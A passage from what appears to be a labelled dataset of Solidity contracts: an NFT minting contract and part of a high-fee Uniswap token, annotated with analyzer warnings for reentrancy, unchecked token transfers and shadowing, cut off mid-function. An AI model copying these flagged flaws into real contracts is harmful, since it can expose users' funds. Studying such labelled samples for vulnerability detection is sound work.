ERC721InvalidApprover(address approver);\n\n error ERC721InvalidOperator(address operator);\n}\n\ninterface IERC1155Errors {\n error ERC1155InsufficientBalance(\n address sender,\n uint256 balance,\n uint256 needed,\n uint256 tokenId\n );\n\n error ERC1155InvalidSender(address sender);\n\n error ERC1155InvalidReceiver(address receiver);\n\n error ERC1155MissingApprovalForAll(address operator, address owner);\n\n error ERC1155InvalidApprover(address approver);\n\n error ERC1155InvalidOperator(address operator);\n\n error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);\n}\n\nabstract contract ERC721 is\n Context,\n ERC165,\n IERC721,\n IERC721Metadata,\n IERC721Errors\n{\n using Strings for uint256;\n\n string private _name;\n\n string private _symbol;\n\n mapping(uint256 tokenId => address) private _owners;\n\n mapping(address owner => uint256) private _balances;\n\n mapping(uint256 tokenId => address) private _tokenApprovals;\n\n mapping(address owner => mapping(address operator => bool))\n private _operatorApprovals;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override(ERC165, IERC165) returns (bool) {\n return\n interfaceId == type(IERC721).interfaceId ||\n interfaceId == type(IERC721Metadata).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n function balanceOf(address owner) public view virtual returns (uint256) {\n if (owner == address(0)) {\n revert ERC721InvalidOwner(address(0));\n }\n\n return _balances[owner];\n }\n\n function ownerOf(uint256 tokenId) public view virtual returns (address) {\n return _requireOwned(tokenId);\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view virtual returns (string memory) {\n _requireOwned(tokenId);\n\n string memory baseURI = _baseURI();\n\n return\n bytes(baseURI).length > 0\n ? string.concat(baseURI, tokenId.toString())\n : \"\";\n }\n\n function _baseURI() internal view virtual returns (string memory) {\n return \"\";\n }\n\n function approve(address to, uint256 tokenId) public virtual {\n _approve(to, tokenId, _msgSender());\n }\n\n function getApproved(\n uint256 tokenId\n ) public view virtual returns (address) {\n _requireOwned(tokenId);\n\n return _getApproved(tokenId);\n }\n\n function setApprovalForAll(address operator, bool approved) public virtual {\n _setApprovalForAll(_msgSender(), operator, approved);\n }\n\n function isApprovedForAll(\n address owner,\n address operator\n ) public view virtual returns (bool) {\n return _operatorApprovals[owner][operator];\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual {\n if (to == address(0)) {\n revert ERC721InvalidReceiver(address(0));\n }\n\n address previousOwner = _update(to, tokenId, _msgSender());\n\n if (previousOwner != from) {\n revert ERC721IncorrectOwner(from, tokenId, previousOwner);\n }\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public virtual {\n transferFrom(from, to, tokenId);\n\n _checkOnERC721Received(from, to, tokenId, data);\n }\n\n function _ownerOf(uint256 tokenId) internal view virtual returns (address) {\n return _owners[tokenId];\n }\n\n function _getApproved(\n uint256 tokenId\n ) internal view virtual returns (address) {\n return _tokenApprovals[tokenId];\n }\n\n function _isAuthorized(\n address owner,\n address spender,\n uint256 tokenId\n ) internal view virtual returns (bool) {\n return\n spender != address(0) &&\n (owner == spender ||\n isApprovedForAll(owner, spender) ||\n _getApproved(tokenId) == spender);\n }\n\n function _checkAuthorized(\n address owner,\n address spender,\n uint256 tokenId\n ) internal view virtual {\n if (!_isAuthorized(owner, spender, tokenId)) {\n if (owner == address(0)) {\n revert ERC721NonexistentToken(tokenId);\n } else {\n revert ERC721InsufficientApproval(spender, tokenId);\n }\n }\n }\n\n function _increaseBalance(address account, uint128 value) internal virtual {\n unchecked {\n _balances[account] += value;\n }\n }\n\n function _update(\n address to,\n uint256 tokenId,\n address auth\n ) internal virtual returns (address) {\n address from = _ownerOf(tokenId);\n\n if (auth != address(0)) {\n _checkAuthorized(from, auth, tokenId);\n }\n\n if (from != address(0)) {\n _approve(address(0), tokenId, address(0), false);\n\n unchecked {\n _balances[from] -= 1;\n }\n }\n\n if (to != address(0)) {\n unchecked {\n _balances[to] += 1;\n }\n }\n\n _owners[tokenId] = to;\n\n emit Transfer(from, to, tokenId);\n\n return from;\n }\n\n function _mint(address to, uint256 tokenId) internal {\n if (to == address(0)) {\n revert ERC721InvalidReceiver(address(0));\n }\n\n address previousOwner = _update(to, tokenId, address(0));\n\n if (previousOwner != address(0)) {\n revert ERC721InvalidSender(address(0));\n }\n }\n\n function _safeMint(address to, uint256 tokenId) internal {\n _safeMint(to, tokenId, \"\");\n }\n\n function _safeMint(\n address to,\n uint256 tokenId,\n bytes memory data\n ) internal virtual {\n _mint(to, tokenId);\n\n _checkOnERC721Received(address(0), to, tokenId, data);\n }\n\n function _burn(uint256 tokenId) internal {\n address previousOwner = _update(address(0), tokenId, address(0));\n\n if (previousOwner == address(0)) {\n revert ERC721NonexistentToken(tokenId);\n }\n }\n\n function _transfer(address from, address to, uint256 tokenId) internal {\n if (to == address(0)) {\n revert ERC721InvalidReceiver(address(0));\n }\n\n address previousOwner = _update(to, tokenId, address(0));\n\n if (previousOwner == address(0)) {\n revert ERC721NonexistentToken(tokenId);\n } else if (previousOwner != from) {\n revert ERC721IncorrectOwner(from, tokenId, previousOwner);\n }\n }\n\n function _safeTransfer(address from, address to, uint256 tokenId) internal {\n _safeTransfer(from, to, tokenId, \"\");\n }\n\n function _safeTransfer(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) internal virtual {\n _transfer(from, to, tokenId);\n\n _checkOnERC721Received(from, to, tokenId, data);\n }\n\n function _approve(address to, uint256 tokenId, address auth) internal {\n _approve(to, tokenId, auth, true);\n }\n\n function _approve(\n address to,\n uint256 tokenId,\n address auth,\n bool emitEvent\n ) internal virtual {\n if (emitEvent || auth != address(0)) {\n address owner = _requireOwned(tokenId);\n\n if (\n auth != address(0) &&\n owner != auth &&\n !isApprovedForAll(owner, auth)\n ) {\n revert ERC721InvalidApprover(auth);\n }\n\n if (emitEvent) {\n emit Approval(owner, to, tokenId);\n }\n }\n\n _tokenApprovals[tokenId] = to;\n }\n\n function _setApprovalForAll(\n address owner,\n address operator,\n bool approved\n ) internal virtual {\n if (operator == address(0)) {\n revert ERC721InvalidOperator(operator);\n }\n\n _operatorApprovals[owner][operator] = approved;\n\n emit ApprovalForAll(owner, operator, approved);\n }\n\n function _requireOwned(uint256 tokenId) internal view returns (address) {\n address owner = _ownerOf(tokenId);\n\n if (owner == address(0)) {\n revert ERC721NonexistentToken(tokenId);\n }\n\n return owner;\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 6c70e41): ERC721._checkOnERC721Received(address,address,uint256,bytes) has external calls inside a loop retval = IERC721Receiver(to).onERC721Received(_msgSender(),from,tokenId,data)\n\t// Recommendation for 6c70e41: Favor pull over push strategy for external calls.\n function _checkOnERC721Received(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) private {\n if (to.code.length > 0) {\n\t\t\t// reentrancy-benign | ID: 48ca3f3\n\t\t\t// reentrancy-benign | ID: a2fe35c\n\t\t\t// calls-loop | ID: 6c70e41\n\t\t\t// reentrancy-no-eth | ID: 4ea2236\n try\n IERC721Receiver(to).onERC721Received(\n _msgSender(),\n from,\n tokenId,\n data\n )\n returns (bytes4 retval) {\n if (retval != IERC721Receiver.onERC721Received.selector) {\n revert ERC721InvalidReceiver(to);\n }\n } catch (bytes memory reason) {\n if (reason.length == 0) {\n revert ERC721InvalidReceiver(to);\n } else {\n assembly {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n }\n }\n}\n\nabstract contract ERC721Burnable is Context, ERC721 {\n function burn(uint256 tokenId) public virtual {\n _update(address(0), tokenId, _msgSender());\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n}\n\ncontract MemeOrialCollection is ERC721, ERC721Burnable, Ownable {\n uint256 private _tokenIds;\n\n uint256 public constant MAX_SUPPLY = 10000;\n\n bool public saleActive = false;\n\n mapping(uint256 => string) private _tokenURIs;\n\n constructor() ERC721(\"Meme-orial Collection\", \"MEMO\") Ownable(msg.sender) {}\n\n function startSale() public onlyOwner {\n saleActive = true;\n }\n\n function stopSale() public onlyOwner {\n saleActive = false;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a2fe35c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a2fe35c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 4ea2236): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 4ea2236: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function mintBatch(\n string[] memory tokenURIs\n ) public returns (uint256[] memory) {\n uint256 numberOfTokens = tokenURIs.length;\n\n require(saleActive, \"Sale is not active\");\n\n require(numberOfTokens > 0, \"Must mint at least one token\");\n\n require(\n _tokenIds + numberOfTokens <= MAX_SUPPLY,\n \"Exceeds maximum supply\"\n );\n\n uint256[] memory newItemIds = new uint256[](numberOfTokens);\n\n for (uint256 i = 0; i < numberOfTokens; i++) {\n\t\t\t// reentrancy-no-eth | ID: 4ea2236\n _tokenIds += 1;\n\n uint256 newItemId = _tokenIds;\n\n\t\t\t// reentrancy-benign | ID: a2fe35c\n\t\t\t// reentrancy-no-eth | ID: 4ea2236\n _safeMint(msg.sender, newItemId);\n\n\t\t\t// reentrancy-benign | ID: a2fe35c\n _setTokenURI(newItemId, tokenURIs[i]);\n\n newItemIds[i] = newItemId;\n }\n\n return newItemIds;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 48ca3f3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 48ca3f3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function mint(string memory tokenURI_) public returns (uint256) {\n require(saleActive, \"Sale is not active\");\n\n require(_tokenIds < MAX_SUPPLY, \"Maximum supply reached\");\n\n _tokenIds += 1;\n\n uint256 newItemId = _tokenIds;\n\n\t\t// reentrancy-benign | ID: 48ca3f3\n _safeMint(msg.sender, newItemId);\n\n\t\t// reentrancy-benign | ID: 48ca3f3\n _setTokenURI(newItemId, tokenURI_);\n\n return newItemId;\n }\n\n function _setTokenURI(uint256 tokenId, string memory tokenURI_) internal {\n require(_tokenExists(tokenId), \"URI set of nonexistent token\");\n\n\t\t// reentrancy-benign | ID: 48ca3f3\n\t\t// reentrancy-benign | ID: a2fe35c\n _tokenURIs[tokenId] = tokenURI_;\n }\n\n function _tokenExists(uint256 tokenId) internal view returns (bool) {\n return _ownerOf(tokenId) != address(0);\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view override returns (string memory) {\n require(_tokenExists(tokenId), \"Query for nonexistent token\");\n\n string memory _tokenURI = _tokenURIs[tokenId];\n\n if (bytes(_tokenURI).length > 0) {\n return _tokenURI;\n }\n\n return \"\";\n }\n\n function burn(uint256 tokenId) public override {\n super.burn(tokenId);\n\n delete _tokenURIs[tokenId];\n }\n\n function totalSupply() public view returns (uint256) {\n return _tokenIds;\n }\n\n function emergencyWithdraw() public onlyOwner {\n uint256 balance = address(this).balance;\n\n require(balance > 0, \"No Ether available\");\n\n payable(owner()).transfer(balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: dcb33d7): MemeOrialCollection.emergencyWithdrawERC20(address) ignores return value by token.transfer(owner(),balance)\n\t// Recommendation for dcb33d7: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function emergencyWithdrawERC20(address tokenAddress) public onlyOwner {\n IERC20 token = IERC20(tokenAddress);\n\n uint256 balance = token.balanceOf(address(this));\n\n require(balance > 0, \"No token balance\");\n\n\t\t// unchecked-transfer | ID: dcb33d7\n token.transfer(owner(), balance);\n }\n\n receive() external payable {}\n}\n", "file_name": "solidity_code_10319.sol", "size_bytes": 35260, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\npragma solidity >=0.8.10 >=0.8.0 <0.9.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IERC20 {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 19a0735): Dragon.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for 19a0735: Rename the local variables that shadow another component.\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 9;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n\t\t\t// reentrancy-eth | ID: 41beb36\n _balances[sender] = senderBalance - amount;\n }\n\n\t\t// reentrancy-eth | ID: 41beb36\n _balances[recipient] += amount;\n\n\t\t// reentrancy-events | ID: dd8a9b7\n emit Transfer(sender, recipient, amount);\n\n _afterTokenTransfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(\n address(0x000000000000000000000000000000000000dEaD),\n account,\n amount\n );\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 3771533\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 9c0bfe4\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\nlibrary SafeMath {\n function tryAdd(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n uint256 c = a + b;\n\n if (c < a) return (false, 0);\n\n return (true, c);\n }\n }\n\n function trySub(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b > a) return (false, 0);\n\n return (true, a - b);\n }\n }\n\n function tryMul(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (a == 0) return (true, 0);\n\n uint256 c = a * b;\n\n if (c / a != b) return (false, 0);\n\n return (true, c);\n }\n }\n\n function tryDiv(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a / b);\n }\n }\n\n function tryMod(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a % b);\n }\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n return a + b;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return a - b;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n return a * b;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return a / b;\n }\n\n function mod(uint256 a, uint256 b) internal pure returns (uint256) {\n return a % b;\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b <= a, errorMessage);\n\n return a - b;\n }\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a / b;\n }\n }\n\n function mod(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a % b;\n }\n }\n}\n\ninterface IUniswapV2Factory {\n event PairCreated(\n address indexed token0,\n address indexed token1,\n address pair,\n uint256\n );\n\n function feeTo() external view returns (address);\n\n function feeToSetter() external view returns (address);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n\n function allPairs(uint256) external view returns (address pair);\n\n function allPairsLength() external view returns (uint256);\n\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function setFeeTo(address) external;\n\n function setFeeToSetter(address) external;\n}\n\ninterface IUniswapV2Pair {\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n function name() external pure returns (string memory);\n\n function symbol() external pure returns (string memory);\n\n function decimals() external pure returns (uint8);\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address owner) external view returns (uint256);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n\n function PERMIT_TYPEHASH() external pure returns (bytes32);\n\n function nonces(address owner) external view returns (uint256);\n\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n event Mint(address indexed sender, uint256 amount0, uint256 amount1);\n\n event Burn(\n address indexed sender,\n uint256 amount0,\n uint256 amount1,\n address indexed to\n );\n\n event Swap(\n address indexed sender,\n uint256 amount0In,\n uint256 amount1In,\n uint256 amount0Out,\n uint256 amount1Out,\n address indexed to\n );\n\n event Sync(uint112 reserve0, uint112 reserve1);\n\n function MINIMUM_LIQUIDITY() external pure returns (uint256);\n\n function factory() external view returns (address);\n\n function token0() external view returns (address);\n\n function token1() external view returns (address);\n\n function getReserves()\n external\n view\n returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);\n\n function price0CumulativeLast() external view returns (uint256);\n\n function price1CumulativeLast() external view returns (uint256);\n\n function kLast() external view returns (uint256);\n\n function mint(address to) external returns (uint256 liquidity);\n\n function burn(\n address to\n ) external returns (uint256 amount0, uint256 amount1);\n\n function swap(\n uint256 amount0Out,\n uint256 amount1Out,\n address to,\n bytes calldata data\n ) external;\n\n function skim(address to) external;\n\n function sync() external;\n\n function initialize(address, address) external;\n}\n\ninterface IUniswapV2Router02 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint256 amountADesired,\n uint256 amountBDesired,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external payable;\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}\n\ncontract Dragon is ERC20, Ownable {\n using SafeMath for uint256;\n\n IUniswapV2Router02 public immutable uniswapV2Router;\n\n address public immutable uniswapV2Pair;\n\n address public constant deadAddress = address(0xdead);\n\n bool private swapping;\n\n address public MarketingWallet;\n\n address public devWallet;\n\n uint256 public maxTransactionAmount;\n\n uint256 public swapTokensAtAmount;\n\n uint256 public maxWallet;\n\n uint256 public percentForLPBurn = 1;\n\n bool public lpBurnEnabled = false;\n\n uint256 public lpBurnFrequency = 3000 seconds;\n\n uint256 public lastLpBurnTime;\n\n\t// WARNING Optimization Issue (constable-states | ID: 70b3565): Dragon.manualBurnFrequency should be constant \n\t// Recommendation for 70b3565: Add the 'constant' attribute to state variables that never change.\n uint256 public manualBurnFrequency = 60 minutes;\n\n uint256 public lastManualLpBurnTime;\n\n\t// WARNING Optimization Issue (constable-states | ID: d9024e9): Dragon.limitsInEffect should be constant \n\t// Recommendation for d9024e9: Add the 'constant' attribute to state variables that never change.\n bool public limitsInEffect = true;\n\n bool public tradingsLive = false;\n\n bool public swapsEnable = false;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n\n bool public transferDelayEnabled = false;\n\n uint256 public buyTotalFees;\n\n uint256 public buyMarketingFee;\n\n uint256 public buyLiquidityFee;\n\n uint256 public buyDevFee;\n\n uint256 public sellTotalFees;\n\n uint256 public sellMarketingFee;\n\n uint256 public sellLiquidityFee;\n\n uint256 public sellDevFee;\n\n uint256 public tokensForMarketing;\n\n uint256 public tokensForLiquidity;\n\n uint256 public tokensForDev;\n\n mapping(address => bool) private _isExcludedFromFees;\n\n mapping(address => bool) public _isExcludedMaxTransactionAmount;\n\n mapping(address => bool) public automatedMarketMakerPairs;\n\n event UpdateUniswapV2Router(\n address indexed newAddress,\n address indexed oldAddress\n );\n\n event ExcludeFromFees(address indexed account, bool isExcluded);\n\n event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);\n\n event MarketingWalletUpdated(\n address indexed newWallet,\n address indexed oldWallet\n );\n\n event devWalletUpdated(\n address indexed newWallet,\n address indexed oldWallet\n );\n\n event SwapAndLiquify(\n uint256 tokensSwapped,\n uint256 ethReceived,\n uint256 tokensIntoLiquidity\n );\n\n event AutoNukeLP();\n\n event ManualNukeLP();\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 19a0735): Dragon.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for 19a0735: Rename the local variables that shadow another component.\n constructor() ERC20(unicode\"Lóng\", unicode\"龙\") {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n excludeFromMaxTransaction(address(_uniswapV2Router), true);\n\n uniswapV2Router = _uniswapV2Router;\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n (address(uniswapV2Pair), true);\n\n _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);\n\n uint256 _buyMarketingFee = 20;\n\n uint256 _buyLiquidityFee = 0;\n\n uint256 _buydevfee = 0;\n\n uint256 _sellMarketingFee = 30;\n\n uint256 _sellLiquidityFee = 0;\n\n uint256 _selldevfee = 0;\n\n uint256 totalSupply = 100_000_000 * 1e9;\n\n maxTransactionAmount = 1000000 * 1e9;\n\n maxWallet = 1000000 * 1e9;\n\n swapTokensAtAmount = (totalSupply * 5) / 10000;\n\n buyMarketingFee = _buyMarketingFee;\n\n buyLiquidityFee = _buyLiquidityFee;\n\n buyDevFee = _buydevfee;\n\n buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;\n\n sellMarketingFee = _sellMarketingFee;\n\n sellLiquidityFee = _sellLiquidityFee;\n\n sellDevFee = _selldevfee;\n\n sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;\n\n devWallet = address(0x52e4bDF7e09BEF113030bd9b9F5fD15484cbdE77);\n\n MarketingWallet = address(0x52e4bDF7e09BEF113030bd9b9F5fD15484cbdE77);\n\n excludeFromFees(owner(), true);\n\n excludeFromFees(address(this), true);\n\n excludeFromFees(address(0xdead), true);\n\n excludeFromMaxTransaction(owner(), true);\n\n excludeFromMaxTransaction(address(this), true);\n\n excludeFromMaxTransaction(address(0xdead), true);\n\n _mint(msg.sender, totalSupply);\n }\n\n receive() external payable {}\n\n function 